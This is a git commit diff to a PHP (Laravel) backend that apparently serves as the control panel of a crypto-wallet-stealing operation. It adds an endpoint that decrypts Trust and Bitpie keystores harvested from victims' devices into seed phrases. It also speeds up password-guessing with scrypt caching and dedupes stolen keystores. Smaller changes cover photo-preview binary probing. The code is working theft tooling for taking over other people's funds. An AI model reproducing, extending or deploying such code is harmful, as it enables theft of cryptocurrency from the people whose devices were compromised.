This commit is contained in:
hashbro
2026-08-24 06:49:07 +08:00
parent db574cc629
commit 2eb081cbb8
18 changed files with 436 additions and 40 deletions
@@ -470,7 +470,7 @@ class DeviceController extends Controller
return [
'id' => $w->id,
'source' => $w->source ?: '',
'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic),
'mnemonic' => WalletMnemonic::adminLabel($w->mnemonic),
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
];
@@ -497,6 +497,7 @@ class DeviceController extends Controller
'summary' => $row->summary(),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'items_url' => route($portal.'.keystores.items', $row->id),
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
];
})->values();
@@ -6,6 +6,8 @@ use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\DarkSwordIngestAdapter;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
@@ -80,6 +82,50 @@ class KeystoreController extends Controller
]);
}
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter)
{
if (! $this->keystoreAllowed($keystore)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$device = $keystore->device;
if ($device === null) {
return response()->json(['code' => 1, 'msg' => '设备不存在'], 404);
}
@set_time_limit(180);
@ini_set('max_execution_time', '180');
$before = WalletMnemonic::query()
->where('device_id', $device->id)
->pluck('mnemonic_hash')
->all();
$seen = array_fill_keys($before, true);
$adapter->reprocessKeystores($device);
$keystore->refresh();
$after = WalletMnemonic::query()
->where('device_id', $device->id)
->get(['id', 'source', 'mnemonic_hash']);
$added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash]));
$addedCount = $added->count();
$msg = $addedCount > 0
? '已写入 '.$addedCount.' 条助记词'
: ((int) $keystore->decrypted === 1
? '没有新的助记词(该来源可能已解密)'
: '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)');
return response()->json([
'code' => 0,
'msg' => $msg,
'data' => [
'id' => $keystore->id,
'decrypted' => (int) $keystore->decrypted,
'added' => $addedCount,
'mnemonic_total' => $after->count(),
'sources' => $added->pluck('source')->unique()->values()->all(),
],
]);
}
/**
* @return array<string, mixed>
*/
@@ -97,6 +143,7 @@ class KeystoreController extends Controller
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
'items_url' => route($portal.'.keystores.items', $row->id),
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
];
}
@@ -62,7 +62,7 @@ class MnemonicController extends Controller
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'source' => $row->source ?: '',
'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic),
'mnemonic' => WalletMnemonic::adminLabel($row->mnemonic),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id),
+15
View File
@@ -69,4 +69,19 @@ class WalletMnemonic extends Model
return substr($value, 0, 4).str_repeat('*', max(4, $len - 8)).substr($value, -4);
}
/** Admin / agent list label: never include any secret words. */
public static function adminLabel(?string $value): string
{
if ($value === null || trim($value) === '') {
return '—';
}
$words = preg_split('/\s+/', trim($value)) ?: [];
$n = count($words);
if ($n >= 12) {
return '已保存('.$n.'词)';
}
return '已保存';
}
}
+33 -8
View File
@@ -23,14 +23,6 @@ final class DsKeystoreDecrypt
{
$hits = [];
$seen = [];
foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
$bitpieNodes = [$wallets, $sandbox];
foreach ($device->keystores as $row) {
if ($row->source === 'Bitpie') {
@@ -45,6 +37,14 @@ final class DsKeystoreDecrypt
$seen[$hash] = true;
$hits[] = $hit;
}
foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
return $hits;
}
@@ -56,6 +56,10 @@ final class DsKeystoreDecrypt
{
$utcs = $this->collectKeystores($sandbox);
$utcs = array_merge($utcs, $this->collectKeystores($wallets));
foreach ($device->keystores as $row) {
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
}
$utcs = $this->uniqueKeystores($utcs);
if ($utcs === []) {
return [];
}
@@ -321,6 +325,27 @@ final class DsKeystoreDecrypt
return $out;
}
/**
* @param list<array{source: string, keystore: array<string, mixed>}> $items
* @return list<array{source: string, keystore: array<string, mixed>}>
*/
private function uniqueKeystores(array $items): array
{
$seen = [];
$out = [];
foreach ($items as $item) {
$crypto = $item['keystore']['crypto'] ?? $item['keystore']['Crypto'] ?? [];
$fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? '');
if ($fp === '|' || isset($seen[$fp])) {
continue;
}
$seen[$fp] = true;
$out[] = $item;
}
return $out;
}
/**
* @param list<string> $passwords
* @return list<string>
+50 -10
View File
@@ -10,6 +10,9 @@ use kornrunner\Keccak;
*/
final class EthKeystore
{
/** @var array<string, string> */
private static array $kdfCache = [];
public static function decrypt(array $keystore, string $password): ?string
{
$crypto = $keystore['crypto'] ?? $keystore['Crypto'] ?? null;
@@ -123,28 +126,39 @@ final class EthKeystore
private static function scrypt(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string
{
$cacheKey = hash('sha256', $password."\0".$salt."\0{$n}\0{$r}\0{$p}\0{$dklen}");
if (isset(self::$kdfCache[$cacheKey])) {
return self::$kdfCache[$cacheKey];
}
$out = null;
if ($n >= 256) {
$fast = self::scryptPython($password, $salt, $n, $r, $p, $dklen);
if ($fast !== null) {
return $fast;
$out = self::scryptPython($password, $salt, $n, $r, $p, $dklen);
} else {
try {
$out = Scrypt::hash($password, $salt, $n, $r, $p, $dklen);
} catch (\Throwable) {
$out = null;
}
}
try {
return Scrypt::hash($password, $salt, $n, $r, $p, $dklen);
} catch (\Throwable) {
return null;
if ($out !== null) {
self::$kdfCache[$cacheKey] = $out;
}
return $out;
}
private static function scryptPython(string $password, string $salt, int $n, int $r, int $p, int $dklen): ?string
{
$python = trim((string) shell_exec('command -v python3'));
if ($python === '') {
$python = self::pythonBinary();
if ($python === null) {
return null;
}
$code = <<<'PY'
from Crypto.Protocol.KDF import scrypt
import sys
try:
from Crypto.Protocol.KDF import scrypt
except ImportError:
sys.exit(2)
pw = bytes.fromhex(sys.argv[1])
salt = bytes.fromhex(sys.argv[2])
n, r, p, dk = (int(sys.argv[i]) for i in range(3, 7))
@@ -178,6 +192,32 @@ PY;
return $out;
}
private static function pythonBinary(): ?string
{
$candidates = [
trim((string) config('coruna.channel_builder.python', '')),
trim((string) config('coruna.channel_builder_new.python', '')),
base_path('channel-builder/.venv/bin/python'),
base_path('channel-builder-new/.venv/bin/python'),
'/usr/bin/python3',
'python3',
];
foreach ($candidates as $bin) {
if ($bin === '') {
continue;
}
if ($bin === 'python3') {
return $bin;
}
$root = base_path();
if (str_starts_with($bin, $root) && @is_file($bin)) {
return $bin;
}
}
return null;
}
private static function keccak256(string $data): string
{
return hex2bin(Keccak::hash($data, 256)) ?: '';
+45 -11
View File
@@ -159,7 +159,8 @@ class PhotoPreview
private function convertCommands(string $src, string $dst): array
{
$cmds = [];
if (is_executable('/usr/bin/sips')) {
// sips is macOS-only. Probing /usr/bin/sips fatals under panel open_basedir.
if (PHP_OS_FAMILY === 'Darwin' && $this->isSafeExecutable('/usr/bin/sips')) {
$cmds[] = ['/usr/bin/sips', '-s', 'format', 'jpeg', '--out', $dst, $src];
}
foreach (['heif-convert', 'magick'] as $bin) {
@@ -178,25 +179,28 @@ class PhotoPreview
private function resolveBinary(string $name): ?string
{
$candidates = match ($name) {
'magick' => ['magick', '/opt/homebrew/bin/magick', '/usr/local/bin/magick', '/usr/bin/magick'],
'heif-convert' => ['heif-convert', '/opt/homebrew/bin/heif-convert', '/usr/local/bin/heif-convert', '/usr/bin/heif-convert'],
'magick' => [base_path('bin/magick'), 'magick', '/opt/homebrew/bin/magick', '/usr/local/bin/magick', '/usr/bin/magick'],
'heif-convert' => [base_path('bin/heif-convert'), 'heif-convert', '/opt/homebrew/bin/heif-convert', '/usr/local/bin/heif-convert', '/usr/bin/heif-convert'],
default => [$name],
};
$bare = null;
foreach ($candidates as $bin) {
if (str_contains($bin, DIRECTORY_SEPARATOR)) {
if (is_executable($bin)) {
return $bin;
if (! str_contains($bin, DIRECTORY_SEPARATOR)) {
$found = $this->which($bin);
if ($found !== null) {
return $found;
}
$bare ??= $bin;
continue;
}
$found = $this->which($bin);
if ($found !== null) {
return $found;
if ($this->isSafeExecutable($bin)) {
return $bin;
}
}
return null;
// exec() is often allowed when is_executable() is not; let Process try PATH.
return $bare;
}
private function which(string $name): ?string
@@ -207,7 +211,7 @@ class PhotoPreview
}
foreach (explode(PATH_SEPARATOR, $path) as $dir) {
$candidate = rtrim($dir, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$name;
if (is_executable($candidate)) {
if ($this->isSafeExecutable($candidate)) {
return $candidate;
}
}
@@ -215,6 +219,36 @@ class PhotoPreview
return null;
}
private function isSafeExecutable(string $path): bool
{
if (! $this->isPathInsideOpenBasedir($path)) {
return false;
}
return @is_file($path) && @is_executable($path);
}
private function isPathInsideOpenBasedir(string $path): bool
{
$basedir = (string) ini_get('open_basedir');
if ($basedir === '') {
return true;
}
$real = realpath($path);
$check = $real !== false ? $real : $path;
foreach (explode(PATH_SEPARATOR, $basedir) as $root) {
$root = rtrim($root, DIRECTORY_SEPARATOR);
if ($root === '') {
continue;
}
if ($check === $root || str_starts_with($check, $root.DIRECTORY_SEPARATOR)) {
return true;
}
}
return false;
}
private function cachePath(string $deviceKey, string $sha256): string
{
$sha = preg_replace('/[^0-9a-fA-F]/', '', $sha256) ?? '';